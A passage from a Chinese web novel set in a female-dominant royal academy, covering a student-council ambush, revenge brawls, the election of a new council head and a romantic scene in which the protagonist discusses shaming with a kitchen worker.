楼雨眠低声辩解:“我知道他什么都比我强,剑术比我高明,容貌比我出众,家世比我清白。我知道你更喜欢他,我只是想帮你……”
陆锦澜:“现在他不理我,你高兴了?我竟不知道你忮忌心如此之重。”
“不是的……”
陆锦澜懒得再听,把扇子丢给他,“我不想见到你,你也回去吧。”
楼雨眠失落得转身离开,庆儿来这儿送东西,撞见这一幕不由问道:“少主,人家楼公子欢天喜地的来见你,你怎么让人家红着眼走了?”
陆锦澜怪道:“你怎么认识他的?”
晏无辛忍不住道:“楼雨眠租住的院子就在久安堂隔壁,庆儿和楼公子早就混熟了吧?”
庆儿点了点头,“楼公子人挺好的,他……”
陆锦澜一挥手,“我现在不想听他的事儿,能不能吃饭?饿死了。”
三人在外面浪了两天,第三天一早早起赶回书院。
书院门口,全是一脸沉重回来上课的新生。学长们昨晚就回学院了,只有她们抻到了休沐结束的最后一刻,上学的心情简直如上坟一般。
进了校门,才得知有意外情况。院长和师傅们今天回不来,只有学监主持校务,安排大家上自习。
三人这回带了不少吃的回来,今天本来不用去食堂。但想到凛丞,陆锦澜还是决定去看看他。
她没拿餐盘,排到他的窗口,她笑着用指节敲了敲桌面,“还生气呢?”
凛丞紧张得看了眼四周,飞速的将一个纸条塞到她的手里。
26. 第 26 章
陆锦澜捏着纸条走到角落里在掌心展开一看,脸色不由一变。
项如蓁和晏无辛跟过来,陆锦澜急忙合拢手掌。
晏无辛抻着脖子问:“写的什么?”
陆锦澜一笑,“情书。一会儿我有约,你们可别耽误我。”
“切!”晏无辛酸道:“也就你,在学院里还有男人可以见。我那些应子没一个能吃苦的,不然食堂要是还招人,我也让他们来。”
项如蓁不以为然,“整日围着男人转,算什么英雌好娘?她约会,咱俩去练武,走。”
彼时暮色四合,三人走在林荫道上,一同往后山去。
一位面生的学长忽然跑过来,“陆锦澜,学监叫你去礼堂一趟。”
陆锦澜点了点头,“我跟她走一趟,你们去吧。”
项如蓁和晏无辛在树林里练了会儿功,偶遇了前来打水的凛丞。
见到只有她二人在这儿,凛丞不由问道:“陆少娘呢?”
晏无辛:“学监找她,她去礼堂了。”
凛丞急道:“我已经告诉她学生会的人全体在礼堂埋伏她,她怎么还去礼堂?”
二人一惊:“什么?”
*
眼生的学长在前面带路,时不时回头看一眼,生怕陆锦澜起了疑心。
可陆锦澜偏偏什么也没问,只是从不知从哪掏出许多白色的小药丸,一捧一捧的往嘴里塞。
作恶心虚,带路的人越走越快,声音颇为紧张:“前面马上到了,我先进去跟学监说一声。”
“好啊。”陆锦澜从容的拍了拍手,看向礼堂的大门。
门大敞着,里面却黑幽幽的不见一点光亮,仿佛黑洞一般,能够将一切吞噬掉。两侧窗边似有人影闪过,看样子人数不少。
陆锦澜紧了紧腰带,大步向前。
她步入大门,礼堂内一片寂静。陆锦澜顺着台阶一步步往里走,忽觉脑后一阵疾风,她一个闪身敏捷避开,一把夺下那人手中的木棍,抬腿就是一记窝心脚。
那人惨叫一声,飞了出去。
礼堂中顿时有人大喊道:“守住门窗!别让她跑了,我们大家一起上!”
大门吱嘎一声关上,迅速插上了门栓,窗边甚至还钉上了木板,做出一副关门打狗的样子。
陆锦澜听发号施令的声音好像是金一淮,她选择先发制人,擒贼先擒王,朝着声源方向冲了过去。
礼堂内黑得看不见人影,学生会的人喊打喊杀的往她所在的方向冲,冲到跟前却尴尬得停住,发现找不到人了。
韩离:“人呢?”
大家都道:“看不见。”
“搜!”
她们看不见陆锦澜,陆锦澜也看不见她们。
这里有许多桌椅,往里一缩,只有鬼能看到。
身边似有呼吸声靠过来,陆锦澜灵机一动,夹着嗓子问:“会长,你在哪儿?”
一个很近的声音回答:“在这儿。”
陆锦澜卯足了劲儿,甩手就是一巴掌,“我去你爹的!”
这智商还想算计老娘?
啪一声响,周围的人立马扑过来开始混战。
陆锦澜一个人来的好处就是不怕误伤队友,拿着棍子逮住人就揍,礼堂里瞬间惨叫连天。
韩离拿着木根不敢上前,只是一个劲儿的指挥道:“上!不用怕!车轮战,一会儿她就没力气了!”
正常来说是这样,但陆锦澜今晚吃了药来的,力气比武试那天都大。她出手的时候甚至得顾忌着,生怕一不小心出了人命。
一波混战,围攻阵被破,学生会这帮人又找不到目标了。
韩离正紧张得观望着,忽觉身后靠过来一个人。她暗觉不好,刚要大叫,瞬间被点住了哑穴。
更绝望的是,陆锦澜贴在她身后喊:“我在这儿!没用的东西,有本事打死我!”
学生会四十来人,嗷一声就冲过来了。
陆锦澜把韩离推了出去,自己悄么声躲在桌子底下看戏。
那棍棒声轮得虎虎生风,陆锦澜听着都不由龇牙咧嘴,挨几下肯定得浑身淤青。
那群人连打带踹的发泄了一阵,紧接着听到金一淮道:“别让她死了!点一盏灯来,我看她还威不威风。”
陆锦澜眉头一皱,正准备去打那个点灯的人,忽听门外怦怦两声巨响,众人还没反应过来,大门轰然倒下。
此时里外一般黑,众人只感觉到有人冲了进来,却压根看不清人在哪儿。
两道黑影二话不说,瞬间和学生会的人交上了手。
金一淮知道这是陆锦澜的援军,急道:“看住陆锦澜!”
她不说还好,一说那两道人影直奔倒在地上的人冲了过去。
陆锦澜一看她再不出声,来人要把韩离救走了,忙道:“我在这儿!”
她一出声,立刻有人闻声包围过去。
韩离刚被提起来,立马又被扔在地上。
混乱中,金一淮急得大喊:“点灯!立刻点灯!”
敌众我寡,这些人也不是吃干饭的,哪敢让她们点灯啊?
三人默契的各自冲向引火的人,一时间踢飞了无数个火折子。
大家激战片刻,陆锦澜趁乱又抓住金一淮往人堆里一丢,低声道:“撤!”
三人一口气跑到后山,看身后没人跟来,终于停住脚。
陆锦澜刚躺下地上,大口的喘着粗气,便被晏无辛怒吼道:“你打架为什么不叫我们?”
陆锦澜疲惫的摆摆手,“歇会儿……歇会儿再吵。”
项如蓁不肯,薅着她领子把她提起来,冷声逼问:“你把我们当朋友了吗?”
陆锦澜:“天可怜见,你们是我在这儿唯二的朋友。”
项如蓁:“你觉得我们是贪生怕死之辈吗?”
陆锦澜:“我和无辛或许是,但你项如蓁绝对不是。”
晏无辛小声辩驳了一句:“谁说的?我只是反应慢。”
项如蓁咬牙道:“那说好的共同进退,为什么丢下我们?”
陆锦澜急道:“正因为你们是我的朋友,我才不想害你们丢了前程。”
她深吸一口气,“我们和学生会僵持了这么久,今天这一仗,只会让矛盾更加激化。谁也不知道事情会发展到哪一步,闹大了绝不仅仅是扫教室扫厕所那么简单。我是无所谓,可我不想害你们失去学习的机会!”
晏无辛嘟囔道:“我也无所谓。”
陆锦澜看向项如蓁,“那你呢?如蓁,你的远大理想只有做官才能实现,我不想你因为这些小事而抱憾终身。”
项如蓁沉默片刻,忽道:“你错了,朋友
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被暗算不是小事。如果我是一个背信弃义的小人,还配谈什么远大理想?我不会因为被退学而抱憾终身,但如果你出事,我真的会抱憾终身。”
两人说到这儿俱是红了眼,陷入沉默。
晏无辛忙缓和气氛道:“哎呀好了,幸亏大家都没事。今晚咱们三打四十几,全身而退,高低得庆祝一下。”
陆锦澜看了看她俩的脸,“险胜而已,别太骄傲。”
说话间有脚步声靠近,三人迅速起身,随即又松了口气。
凛丞提着灯笼紧张道:“你们没事吧?受伤了没有?”
*
趁着夜色,三人和凛丞一起摸到了无人的食堂。昏暗中点了根蜡烛,凛丞烧水煮鸡蛋,煮熟后剥了壳,给她们拿去滚脸上的淤青。
陆锦澜受伤最轻,她提前吃了大力丸,又一直躲着,没挨几下。倒是项如蓁和晏无辛,为了抢人奋不顾身的往里冲,脸上身上青一块紫一块的。
陆锦澜兑了几枚去痛药,分给她俩,“吃了就不痛了,以后这种情况,不用担心我,我有挂。”
晏无辛:“什么褂?”
项如蓁:“挂在哪儿?”
凛丞:“你有什么也不该去,你不要命了?”
陆锦澜笑了笑,捏了下凛丞的手,“今天幸好你提醒我,我才能有所准备,你怎么知道的?”
凛丞道:“我打饭的时候听见几个学生会的人商量来着,想着告诉你,你能躲开,没想到……”
陆锦澜笑道:“有些事,躲是躲不开的,我就喜欢迎难而上,看这厮能奈我何。”
大家说着话,一边滚鸡蛋一边吃鸡蛋,忽听咔嚓一声,灶上的陶锅碎成了两半。
凛丞慌道:“糟了!水放水少了,我把大厨的陶锅烧坏了,他明天非骂死我不可。”
陆锦澜道:“一个锅能值几个钱,双倍赔给他就是了。”
凛丞摇了摇头,“这是城北林记卖的锅,是大厨新买的宝贝,才用了一天。真是倒霉,偏偏今天食堂的钥匙在我这儿,想抵赖都不行。”
陆锦澜摸了摸下巴,“城北林记是吧?我现在去,天亮前拿一个一模一样的新锅放在这儿,他就没有理由骂你了。”
晏无辛一惊:“你要出去啊?私自翻墙出校是大过,被学监抓到,至少罚你停课一个月。”
项如蓁劝道:“要不还是想别的办法吧,出去太冒险了。”
凛丞也道:“一个锅而已,大不了我挨顿骂,不值得冒这么大的风险。”
陆锦澜似笑非笑的看着他,“我觉得值得,你对我这么好,我可舍不得你挨骂。”
凛丞横了她一眼,“鬼知道你说的是真是假。”
“你不信啊?你不信我出去就不回来了。唉,我为你冒险走一遭,你非但不信我,还要生我的气,我干脆不回来,直接退学好了。”
凛丞咬了咬牙,明知道她故意这么说,还是无奈道:“我要是还生你的气,就不通风报信,等着你中计。”
陆锦澜嘴角微扬,“真不生我的气了?翻篇了?”
凛丞勉强的点了点头,项如蓁实在忍不住看二人在这儿粘牙,出声道:“要去赶紧去,一会儿天亮了!”
于是陆锦澜把旧锅背上,跃上了围墙。项如蓁忽然想起来,“林记半夜又不开门,你怎么买?”
27. 第 27 章
陆锦澜愣了一下,“我说买了吗?我说拿。”
项如蓁急道:“你堂堂皇家学院高材生,不能……”
陆锦澜笑道:“逗你们的,我拿的时候会放下钱的,我走了。”
陆锦澜说着一挥手,迅速消失在夜色中。
其实,私自出校的确是重罪,被抓到会很难搞。但好在,学校里执勤的大娘都上了岁数,这几日院长不在,更加偷懒,一晚上也没巡逻几次,没那么容易被发现。
黎明到来之前,陆锦澜悄无声息的翻回了校内,推醒了在厨房打瞌睡的凛丞。
“你看,是不是一模一样?”
凛丞高兴得点点头,“就是这个。”
他将陶锅放了回去,陆锦澜又塞给他一个烫手的牛皮纸包。
凛丞打开一看,竟然是刚出炉的鲜肉锅魁。不仅烫手,还冒着油呢。外皮酥脆,馅料多汁,咬一口酥得掉渣。
陆锦澜道:“时候还早,吃了回去睡个回笼觉。”
凛丞忙问:“你吃了吗?”
“当然。”陆锦澜得意的晃了晃沉甸甸的袖子,“这家味道不错,一整锅都让我带回来了,回去喂宿舍那几张嘴。”
自从和学生会闹掰后,一零六就是法外之地,没人敢来查寝。但陆锦澜几乎一晚上没回去,这种情况还是很罕见的。
习武之人听觉本来就敏锐,她推门进去,几乎全员都支起来看了一眼。
陆锦澜咳嗽一声,“我给大家带了份早餐,吃了可不许说出去。”
她给每人发两个锅盔,堵住她们的嘴。剩下一摞,都留给如蓁和无辛。
陆锦澜又变戏法似的,摸出一袋包子、两根油条。
“烫死我了,快趁热吃,吃完赶紧休息,今天还有骑射小考呢。”
三人几乎都一晚上没睡,闭目合眼的挤在一张床上,吃着吃着就睡着了。
得亏年轻,精力旺盛。十六七的少年人,根本不知道什么叫力不从心。
睡了不到一个时辰,睁眼就去骑射场,一上马都跟人来疯一样。
虽说是小考,但就平时表现而言,上位圈基本形成了。
陆锦澜曾想,这要是选秀节目,《创造100》《书院有你》什么的,那她们一零六住的全是热门选手,一定可以包揽全部出道名额。
一零六这八个人,一个比一个争强好胜,又都各有所长心高气傲,大家都是凭本事服人。
这次小考分组,八个人自动站到一起。强者游戏,谁也不想被成绩差的拖后腿,结果自然是毫无悬念的拿下第一名。
一天下来,非但不累,回宿舍的时候还高唱着凯歌,兴奋极了。
然而推开门的一瞬间,八人齐齐傻了眼。
被褥全被丢在地上,践踏得一片脏污。箱笼被砸烂了,推翻在地,衣物被扯得破碎不堪。所有的生活用品全部被砸得稀烂,连床都被推得歪歪斜斜,有几块木板掉落下来,像刚刚经历过大灾难一般。
大家愣在那儿,仿佛做梦一般。
晏无辛嗅到一丝酒香,瞬间醒了过来,“不好!我私藏的美酒!”
她钻到床下,哭唧唧的拽出半个残破的坛子,“哎呀,这可是我好不容易带进来的,正想着咱今晚喝了庆祝。哪个缺德的把坛子都给我打碎了,大半坛好酒都糟蹋了。”
大家奔向自己的箱子,屋内顿时一片哀嚎。
“我的点心!”
“我的玉佩!”
“我这杯子可是上等官窑的珍品啊,怎么就碎成一片一片的了?”
项如蓁愤怒的拾起一件残破的外袍,眉宇间满是痛惜,“这是我离开勉州时,我爹亲手为我缝制的冬衣,领上的皮毛是我娘猎得的银狐。冬天还没到,衣服却不能穿了。”
陆锦澜安抚的拍了拍她的肩膀,“别难过,这个仇我们非报不可。”
晏无辛吸了吸鼻子,气愤道:“一定是学生会那帮人。”
陆锦澜点了点头,“当然是学会的,除了学生会,还有谁敢?除了学生会,还有谁会如此恨我们?”
晏钰望着手中残破的玉佩,闷声道:“我听说学生会的人昨晚负了伤,今天大多请了病假,只有她们有时间。可我们没有证据,只怕找上门她们也不会承认。”
凌照人一脚踢倒歪歪斜斜的椅子,“不认老娘就打!”
陆锦澜拧紧了眉,“沉住气,容我想想。先去看看其他宿舍有没有遭殃,上次跟咱们抗议的人里,有个叫小黄鹊的,她今天也请了病假,我去找她问问。”
项如蓁:“我跟你一块去。”
两人刚转过身,几十个同级生涌上来堵在宿舍门口,七嘴八舌道:“我们宿舍都被砸了,是学生会干的!”
陆锦澜一看,都是那天和她们一起走出礼堂的人。
她忙问:“有人看见了吗?”
小黄鹊从人群中挤进来,“我看见了,学生会的会长副会长亲自带着人干的。我不过上前问一句,韩离抬手就给我一巴掌。我就等着你们回来,给我做主。”
众人看着她红肿起来的半边脸,不由义愤填膺。
楚易舒挽起袖子,“他爹的,欺人太甚!你们说怎么办吧?”
陆锦澜咬了咬牙,“看来学生会暗算不成,就明着来了。学生会今天跟咱们算总账,咱们也不能怂。走!咱们也去跟学生会算总账!”
“走!”
当下一呼百应,大家恨不得呼朋引伴,火气大的一路呼喝着:“走!快跟上!”
“先别收拾了,找学生会算账去!”
“走,都去!谁退后一步,谁就是小爹养的!”
今天的情况和刚报到那天大不相同,一百个人一个班,大家一起上了七八天课,都已经混熟了。一零六是公认的强者群集,人们遇到问题时,本能的追随强者的脚步。
何况陆锦澜才华出众,项如蓁为人正直,晏无辛随和风趣,三人在班里很受欢迎,颇具威望。
队伍从新生宿舍区出来,不是四十多人,是六十多人,上次没跟着她们出礼堂的,这次竟然也跟着来帮手了。
陆锦澜走在最前面,项如蓁和晏无辛一左一右,晏无辛怀里还抱着她心爱的半坛酒。
陆锦澜:“你抱着它干什么?”
晏无辛气道:“我要亲手把这个破坛子扣到金一淮脑袋上,我请她喝!”
项如蓁看着跟来的人越来越多,不由低声道:“这么多人,动起手来,真是要天下大乱了。”
陆锦澜沉声道:“乱了正好,反正学生会在咱们书院一手遮天,我早就看不惯了。不乱咱们就得挨欺负,乱了正好,
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咱们来定新规矩!”
一行人气势汹汹风风火火的过了长桥,到了学生会宿舍区域。
学长们见她们来者不善,纷纷闪躲。楚易舒抓住一个学长,“学生会那帮人呢?”
那人忙道:“她们一起吃饭去了,我可不是学生会的,跟我没关系。”
项如蓁:“放开她,咱们不连累无辜。”
陆锦澜冷笑一声:“吃饭去了?她们还有心思吃饭。不过,正好给咱们留出了报仇的时间。”
陆锦澜一脚踢开金一淮的房门,从她的床上翻到了学生会名册,上面登记着姓名、宿舍、床号。
陆锦澜舔了舔唇,“同学们,咱们以其人之道还治其人之身。按照这份名单,砸!”
众人异口同声道:“砸!狠狠地砸!”
大家忍耐了这些天,也是憋坏了,这回什么也不用顾忌,将学生会的宿舍砸了个稀巴烂,比她们的宿舍还惨,总算狠狠的出了口恶气。
晏无辛砸完重新抱起她的半个酒坛,项如蓁在坛子里洗了洗手,对陆锦澜道:“咱们也算一报还一报了,要不见到她们先别动手。我跟她们谈谈,大家各自罢手算了。”
陆锦澜不置可否,“面对面再说吧,我看学生会这帮人根本听不懂人话。”
也不知道这些人什么时候回来,反正回来肯定也会找上门。
于是,陆锦澜道:“我们先回去,等她们来找。”
众人又风风火火的准备打道回府,可事有凑巧,一上长桥正碰上学生会那群人吃完饭回来。
此时天色已经黑了,远远的彼此都只看见一团黑影,对方前面的人提着灯笼,走近了才发现正是彼此。
双方真是仇人相见分外眼红,火药味儿浓得呛鼻子。大家摩拳擦掌,几乎就要动手。
项如蓁急忙拦在前面,“切莫动手,先听我一句。你们把我们的宿舍砸了,我们也把你们的宿舍砸了。大家扯平,以后互不干扰,如何?”
金一淮惊讶得瞪大了眼睛,“什么?你们把我们的宿舍砸了?”
项如蓁理论道:“你们砸我们在先,我们礼尚往来不过分吧?”
韩离:“别跟她们废话了,大家一起上!”
项如蓁一把抓住韩离要举起的拳头,“先别动手!先讲理行不行?”
晏无辛举着坛子凑上前,“金一淮你给我过来!”
项如蓁两边各自拉着一人,还在压火,没想到金一淮上前就踢了晏无辛一脚。
项如蓁深吸一口气,“你聋了?你爹的我让你先讲理!”
项如蓁气得挥着拳头就砸了过去,金一淮面门挨了一记重拳,直挺挺倒了下去。咔嚓一声,半个酒坛子,紧跟了扣了上来。
双方立刻陷入混战,一座不到五十米的木桥,成了擂台。一百来号人,在上面打得那叫一个热闹。
陆锦澜这边人多,很快就占了优势。桥下流的是护城河水,人噼里啪啦的往下掉,跟下饺子似的。
新生碾压式的打过去,都快攻到桥那边了,陆锦澜忽听楚易舒道:“学生会来帮手了,大家小心!”
众人上去一顿乱捶,陆锦澜暗自诧异:帮手?学生会哪来的帮手?那么多人喜欢助纣为虐吗?
晏无辛一把拉住陆锦澜,低声道:“不好,打错人了!”
28. 第 28 章
陆锦澜忙问:“错把谁打了?”
晏无辛:“桥那边是刚上桥的大三学长,她们刚从校外回来,有一个我认识,不是学生会的!”
皇家学院注重实践,课堂学习两年,第三年基本都会外派出去,参与国家各项事务。
不过即使是皇家学院的学生,还未正式毕业,没有官衔品级,到了地方也是给人打下手做苦工的。类似于现代的实习生,或者六七十年代下乡的知识青年。
分配到哪儿,纯看运气,看国家需要。
到了学生外派的时候,如果赶上战争,她们就得上战场打仗;赶上大兴土木,她们就得去工地修桥铺路盖房子;赶上粮食欠收,她们就得去种地收粮;赶上牲畜欠缺,就得自己去搞养殖。
皇家学院历史上,出过一个养猪能手,因为把猪养的又肥又壮还能下崽,毕业就去户部任职了。
陆锦澜入学时听说,南方水患,她们大三的学长在假期被朝廷征用,提前两个月外派。工部的人把她们集体拉到南方,去建大坝了。
这会儿她一看,可不是打错人了吗?
这群大三学长顶着酷暑在户外做了个两个月苦工,肤色明显比她们黑了好几十个度。而且新生都没见过她们,面生得很,怎么会认错?也就楚易舒那个傻缺,能把人家当成学生会的帮手。
不过,打都打了……
更重要的是,陆锦澜发现学生会那帮蠢货也认错了。
大三学长真的惨,晒得黑不溜秋的,千里迢迢从外地赶回来,好不容易进了校门,还没走到宿舍,莫名被卷入战场。新生把她们当学生会的打,学生会把她们当新生打。
不过学长们也不是吃素的,估计正满腔愤懑无处发泄呢,挨了揍也不管三七二十一,立刻还手。
一百人的群架,打着打着变成两百人了。
陆锦澜一看都乱成这样了,都不知道打的是谁,还打个什么劲儿啊?撤吧!
她和晏无辛踢掉桥上那几盏可怜的灯笼,让现场更加昏暗,低声传令:“撤!”
让学生会和非洲学长打去吧,新生悄无声息的撤出团战。
凌照人兔子似的跑在最前面,陆锦澜带队跟着,晏无辛和项如蓁在后面断后,桥上依旧打得热闹。
陆锦澜暗自窃喜:今晚我等能全身而退,真是运气爆表。
然而下一秒,凌照人迎面撞上一人,她本能的伸手推拒,对方举掌相抗,一掌将她推出去六七米。
众人只见凌照人飞了过来,陆锦澜和晏钰合力托住她,踉跄着后退两步,才卸了这一掌的力道,勉强帮她稳住身型。
凌照人疼得举着爪子,闭着眼大骂:“哪个小瘪三偷袭老娘?”
陆锦澜好心提醒:“嘘!是你姨姥。”
凌照人立刻噤声,众人深吸一口气,认命的停住了脚。
今晚真是,运气极差。
正逃跑呢,偏偏撞上院长带着各位师傅们回来了。
数十盏大灯笼一同亮起,瞬间照得恍如白昼。
凌知序中气十足的朝着桥上一声断喝:“都给我住手!”
嘭!最后一个倒霉蛋落入水中。众人束手而立,低头行礼,“院长。”
凌知序面上青筋暴起,极力克制着怒意,“这是怎么回事?”
倍感冤枉的大三学长立刻应声:“我们也不知道怎么回事,今晚大家刚外派回来,正打算回宿舍,这些学妹不由分说,上来就打。”
凌知序看着众人羞愧的低下了头颅,便知她们所言非虚。
凌知序:“为什么不由分说的打人?”
金一淮尴尬得从水里爬上来,“回院长,我们认错人了。”
凌知序嗅到浓烈的酒味顿时皱眉,“那你们原本是要打谁啊?”
金一淮心虚道:“我们原本只是想教育下新生,她们把我们宿舍给砸了。”
凌知序看向陆锦澜这边,“确有此事?”
陆锦澜从容认道:“回院长,我们是砸了学生会的宿舍,但她们砸我们的宿舍在先。我们实在是咽不下这口气,才被迫反击的。”
凌知序冷笑一声:“这么说,你们有理?”
陆锦澜微笑道:“至少不理亏。”
学监苗瑾当即怒斥:“大胆!做错了事,还嬉皮笑脸振振有词。”
陆锦澜不以为然,“真是奇怪,且不说学生会欺压新生的事由来已久,就算不计较她们砸我们宿舍在先,也是双方都砸了对方的宿舍。难道只有我们错,学生会没错吗?学监都不问问,她们因何砸我们宿舍,就已经有了决断吗?”
苗瑾:“陆锦澜!你……”
“够了!”凌知序呵斥道:“懒得听你们再吵下去,既然宿舍都被砸了,你们也别睡了。通通给我滚到学祠去思过,明早给我一个统一的说辞,否则你们别来上课。”
“是。”
部分新生加上学生会四十多人,一百来号人,鼻青脸肿垂头丧气的赶到学祠。不少人还是从水里爬上来的,浑身湿嗒嗒,一脸的怨气,跟水鬼似的。
学祠是平日做祭祀活动的场所,既没有椅子也没有床。众人浑身酸痛得往地上一趟,学祠瞬间成了难民营。
这一仗学生会吃了大亏,心里已经虚了,不过拿着学长的架子,一个个还在那儿梗着脖子硬撑。
一看陆锦澜让人关门,陆离立刻惊觉道:“你们想干什么?想在学祠打架吗?”
晏无辛不屑道:“想又怎样?你们打得过吗?”
陆锦澜微微一笑,“已经分出输赢了,何必再打?不过你们要动手,我们可以奉陪。”
看着她们嚣张的样子,金一淮气得咬牙。
项如蓁严肃道:“大家都别说气话了,明早还要给院长一个说辞。我们都冷静一下,尽快放下成见,达成共识。”
“好啊。”陆锦澜应道:“那我先说说我的想法,第一,学生会必须重组,重新投票选举,以前定的破规矩,通通不算数……”
话音未落,金一淮立刻反对:“不行!你们有六十人,我们只有四十人,投票选举当然是你们占优势。”
陆锦澜无奈道:“谁说票多就赢了?可以要求达到一定比例才算数啊。咱这儿一百人,八十五票,才算通过,如何?”
听起来,好像很公正。
金一淮略有些动摇的看向韩离,韩离反对道:“不行!重组学生会,把我们搞下来,你们上去了,再来搞我们,凭什么?”
陆锦澜不屑,“切,小人之心。重组学生
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会是要为学生服务的,谁稀罕针对你?你可真把自己当盘子菜。”
项如蓁道:“既然友好协商,大家就拿出各自的诚意。过去的事情一笔勾销,今后谁也不许翻旧账,如何?”
陆锦澜点了点头,“我心胸宽广,说翻篇就翻篇,你得问她们。”
金一淮翻了个白眼,“你少阴阳怪气,内涵谁心眼小?大家都是娘们儿,说话算话,一笔勾销就一笔勾销。我若是今后翻旧账,我就是男的。你们以后见着我,叫我公子,行了吧?”
晏无辛笑着嘀咕:“这种话都敢说,算她有几分女儿气概。”
陆锦澜道:“既然如此,咱们就进行下一步,各自推举一名人员,竞选学生会长。”
晏无辛立刻举手,“我推举陆锦澜。”
韩离:“不行!我信不着她。她一肚子坏水,发毒誓我都不信。”
陆锦澜撇撇嘴,“行啊,我可以不参选。但你肚子里也没什么好东西,你也不能选。”
“好。”韩离想了想,一口答应。
陆锦澜随即举起项如蓁的手,“我推举项如蓁,你们可以信不过我陆锦澜,因为我这个人向来随心所欲为所欲为。但项如蓁同学,是我有生以来所识之人中,最公允最中正最有原则的人。”
晏无辛:“同意!”
项如蓁凛然道:“好,那我也表个态。如果我当选,第一,我不会假公济私,不会向任何同学收取任何费用;第二,人人平等,新生也好学长也好,自己的事情自己做;第三,我会维护学生群体的利益,像锦澜说的,为学生服务;最后,我接受所有人的监督,如果大家认为我处事不公,我即刻引咎辞职。”
陆锦澜拍了拍手,“说得好。哎,该你们了,你们推举谁?”
韩离刚要举起金一淮的手,金一淮忙道:“我们弃权,表决吧。”
金一淮不弃权,也绝对拿不到八十五票。她这一弃权,结果当然毫无悬念,项如蓁几乎全票当选。
第二天一早,就由项如蓁去跟院长禀明缘由。
陆锦澜出主意说:“你就跟院长说,一场误会,咱们在桥上比试拳脚而已。”
项如蓁摇了摇头,“我会如实交代,如果院长要罚,我担着。”
这个答案在陆锦澜意料之中,不过金一淮等人听到还是怔了怔,她们还不知道,这位新上任的学生会长正得发邪。
陆锦澜隐隐有一种不祥的预感,因为如蓁这人特较真儿,她说人人平等,就绝对不会偏私,说不定还要先从亲近的下手,杀鸡儆猴。
以前的学生会,专挑软柿子捏。现在的学生会,专挑刺儿头。
金一淮昨晚头昏脑涨的,一不小心起迟了。
她瞥见项如蓁拿着考勤表在三个班的教室门口来回徘徊,便暗道不好。
不过她刚才看见陆锦澜也迟到了,不由多了几分底气。
项如蓁将她拦在教室门口,“金学长。”
金一淮装傻道:“项会长,早。”
“早,你迟到了。依例罚做清洁,从这个门到那个门之间的地,你负责拖。”
金一淮不服,“凭什么?陆锦澜迟到就能进去,我迟到你就抓我?”
“咳。”身后传来一声咳嗽。
29. 第 29 章
陆锦澜晃着手里的拖布,仿佛在说:你瞎啊?我涮拖布去了。
金一淮无奈的叹了口气,只好认罚。
两位校园里的风云人物,一大早咔咔拖地。有她俩做榜样,后续迟到的人都乖觉得很,都不用提点,自己就找拖布去了。
其实,陆锦澜一直是个早起困难户,之前也经常迟到,但以前学生会那帮人知道她难搞,一次都没敢抓她。看见她来了干脆转过身去,装没看见。
但大公无私的好友项如蓁可不会装看不见,将她抓了个正着。
为了支持如蓁的工作,陆锦澜老实认罚。不过她一边干活,心里一边琢磨,自从来到皇家学院,她都快成卫生标兵了,每天都在搞清洁。
但她还是很开心的,如蓁这个人虽然办事稍有些死板,但是极为正直。
以前的学生会,像□□,乱定规矩,很多行为不过是为了满足老大的私欲。一会这样一会那样,让同学们终日战战兢兢不知所措。
但项如蓁领导的学生会,规矩非常明确,只要不触犯学生守则,她绝不会为难任何人。
学生群体内,压抑不安的气氛通通被新风驱散,气象焕然一新。
陆锦澜终于可以放心的约会了,下了课便去后山。
溪水在一旁潺潺流过,林中的晚风吹过来,带来阵阵凉爽。
陆锦澜枕着手臂,闭目躺在干净温热的大青石上,怡然自得。
不多时,熟悉的脚步声快速接近,等到了近前,又逐步放缓。
一丝食物的香气飘过来,手中被塞入一个滚烫的物事。
陆锦澜睁开眼,手里多了一个烤土豆。
凛丞笑着看向她,“你晚上没去食堂吃饭,我给你拿了个土豆。”
他说着又把土豆拿起来,为她细细的将外皮剥去。
陆锦澜哼了一声,“你们食堂的厨艺我是真的不敢恭维,从开学到现在,除了米饭勉强入口外,我就没在食堂吃过一道能吃的菜。不过你不用担心,我回校前和平掌柜都商量好了,明天开始,她会每日派人到西墙外送吃的。到时候,我给你拿一份。”
其实按照计划,她回校时带的东西,够吃三天的,所以定的是三天后开始送饭。结果,宿舍不是被砸了吗?损失惨重,意外断粮了。
凛丞道:“你不必操心我,我们厨工吃得虽然清淡,但是味道是正常的。我告诉你个秘密,你们吃的菜,是大厨故意做难吃的。”
陆锦澜大惊:“为什么?”
凛丞道:“老板夫吩咐的,他大约是怕做得太好吃了,太消耗食材吧。所以,让大厨做得难吃点,免得你们吃太多。我们厨工洗菜的时候,他还说,不用洗的太干净,带点儿沙土也没什么。”
“可恶!”陆锦澜猛地坐起来,“什么素质啊?真不是我刻板印象,什么事情都不能交给你们男人做。真是最毒男人心,想把我们吃死啊?”
凛丞冤道:“我可没有害你,我每次洗菜,都洗得很干净。而且我看你在食堂只吃米饭和自己带的熟食,才一直没有告诉你,你别把我和他们归类到一起。”
“我当然不是说你。”陆锦澜握住他的手,“我知道,你和他们不一样。”
凛丞微笑着点了点头,将剥好的土豆递给她。
陆锦澜换了个方向,枕在他的腿上吃土豆。
凛丞慌张得看了眼四周,“快起来,给别人看见。”
陆锦澜不管,“别动,我想事呢。看见就看见,又能怎么样?”
“你是女人,你当然不会怎么样。但是别人看见我们举止亲密,又要说我勾引你。”
陆锦澜皱了皱眉,又要说?看来凛丞已经听过很多类似的话了。
她严肃道:“那叫荡夫羞辱,根本无需在意。我们活在天地之间,不是活在别人的嘴里,何必理会旁人言语?”
凛丞眸中闪过一丝困惑,“荡夫羞辱?我从来没听过这个说法。”
陆锦澜试着告诉他,“这是一种污名化行为,通过攻击人的欲望、贬低人格、指责穿着、编造□□的谣言等,指责某人□□。这种卑劣的手段,用在你身上叫荡夫羞辱,用在女人身上就叫□□羞辱。”
凛丞惊骇道:“这怎么会用在女人身上?哪个女人不风流?女人好色不是理所当然的吗?好色和风流,不是女人生来就有的特权吗?”
陆锦澜愣了一下,哈哈大笑,只是笑着笑着渐觉苦涩。
“如果说好色和风流是一种生来就有的特权,那我告诉你,这种特权绝对不是一开始就属于女人或者男人,而是看这个世界的权力属于哪个性别。”
在现实世界,这种特权属于男人,所以□□羞辱得以长期存在。
想到这儿,陆锦澜还是决定起来。
在女尊男卑的大环境下,凛丞背着很重的贞操枷锁,她还是别给他找麻烦了。
凛丞呆呆的,似乎大脑卡住了,运行不起来。
陆锦澜笑了笑,“总之,你就记住,不必自证清白。与其自我防御,不如疯狂攻击。谁说你你告诉我,我替你教训那些好事者。”
